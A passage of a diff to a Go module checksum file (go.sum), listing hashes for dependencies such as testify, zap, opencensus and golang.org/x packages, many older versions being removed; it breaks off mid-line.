github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= -github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= @@ -1263,7 +506,6 @@ github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69 github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= -github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8= @@ -1274,46 +516,24 @@ github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= -github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= -github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= -github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= -github.com/zeebo/assert v1.3.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= -github.com/zeebo/xxh3 v1.0.2/go.mod h1:5NWz9Sef7zIDm2JHfFlcQvNekmcEl9ekUZQQKCYaDcA= github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= -go.etcd.io/etcd/api/v3 v3.5.6/go.mod h1:KFtNaxGDw4Yx/BA4iPPwevUTAuqcsPxzyX8PHydchN8= -go.etcd.io/etcd/client/pkg/v3 v3.5.6/go.mod h1:ggrwbk069qxpKPq8/FKkQ3Xq9y39kbFR4LnKszpRXeQ= -go.etcd.io/etcd/client/v2 v2.305.6/go.mod h1:BHha8XJGe8vCIBfWBpbBLVZ4QjOIlfoouvOwydu63E0= -go.etcd.io/etcd/client/v3 v3.5.6/go.mod h1:f6GRinRMCsFVv9Ht42EyY7nfsVGwrNO0WEoS2pRKzQk= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= -go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= -go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= -go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= -go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= -go.opentelemetry.io/proto/otlp v0.15.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= -go.opentelemetry.io/proto/otlp v0.19.0/go.mod h1:H7XAot3MsfNsj7EXtrA2q5xSNQ10UqI405h3+duxN4U= go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= -go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= -go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= -go.uber.org/goleak v1.1.11/go.mod h1:cwTWslyiVhfpKIDGSZEM2HlOvcqm+tG4zioyIeLoqMQ= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= -go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= -go.uber.org/multierr v1.8.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak= go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= -go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= -go.uber.org/zap v1.21.0/go.mod h1:wjWOCqI0f2ZZrJF/UufIOkiC8ii6tm1iqIsLo76RfJw= golang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= @@ -1322,7 +542,6 @@ golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaE golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/crypto v0.0.0-20190923035154-9ee001bba392/go.mod h1:/lpIB1dKB+9EgE3H3cr1v9wB50oz8l4C4h62xy7jSTY= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= @@ -1331,38 +550,20 @@ golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWP golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= -golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.7.0 h1:AvwMYaRytfdeVt3u6mLaxYtErKYjxA2OXjJ1HHq6t3A= golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= -golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20190125153040-c74c464bbbf2/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= -golang.org/x/exp v0.0.0-20191002040644-a1355ae1e2c3/go.mod h1:NOZ3BPKG0ec/BKJQgnvsSFpcKLM5xXVWnvZS97DWHgE= golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= -golang.org/x/exp v0.0.0-20220827204233-334a2380cb91/go.mod h1:cyybsKvd6eL0RnXn6p/Grxp8F5bW7iYuBgsNCOHpMYE= -golang.org/x/image v0.0.0-20180708004352-c73c2afc3b81/go.mod h1:ux5Hcp/YLpHSI86hEcLt0YII63i6oz57MZXIpbrjZUs= golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20190910094157-69e4b8554b2a/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20200430140353-33d19683fad8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20200618115811-c13761719519/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20210216034530-4410531fe030/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20210607152325-775e3b0c77b9/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= -golang.org/x/image v0.0.0-20210628002857-a66eb6448b8d/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= -golang.org/x/image v0.0.0-20211028202545-6944b10bf410/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= -golang.org/x/image v0.0.0-20220302094943-723b81ca9867/go.mod h1:023OzeP/+EPmXeapQh35lcL3II3LrY8Ic+EFFKVhULM= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= @@ -1373,8 +574,6 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= @@ -1383,14 +582,6 @@ golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzB golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= -golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= -golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.9.0 h1:KENHtAZL2y3NLMYZeHY9DW8HW8V+kQyJsY/V9JlKvCs= golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -1410,7 +601,6 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -1426,38 +616,9 @@ golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81R golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= -golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= -golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= -golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220607020251-c690dde0001d/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220617184016-355a448f1bc9/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220624214902-1bab6f366d9e/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= -golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= -golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= -golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.10.0 h1:X2//UzNDwYmtCLn7To6G58Wr6f5ahEAQgKNzv9Y951M= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= @@ -1465,30 +626,7 @@ golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4Iltr golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 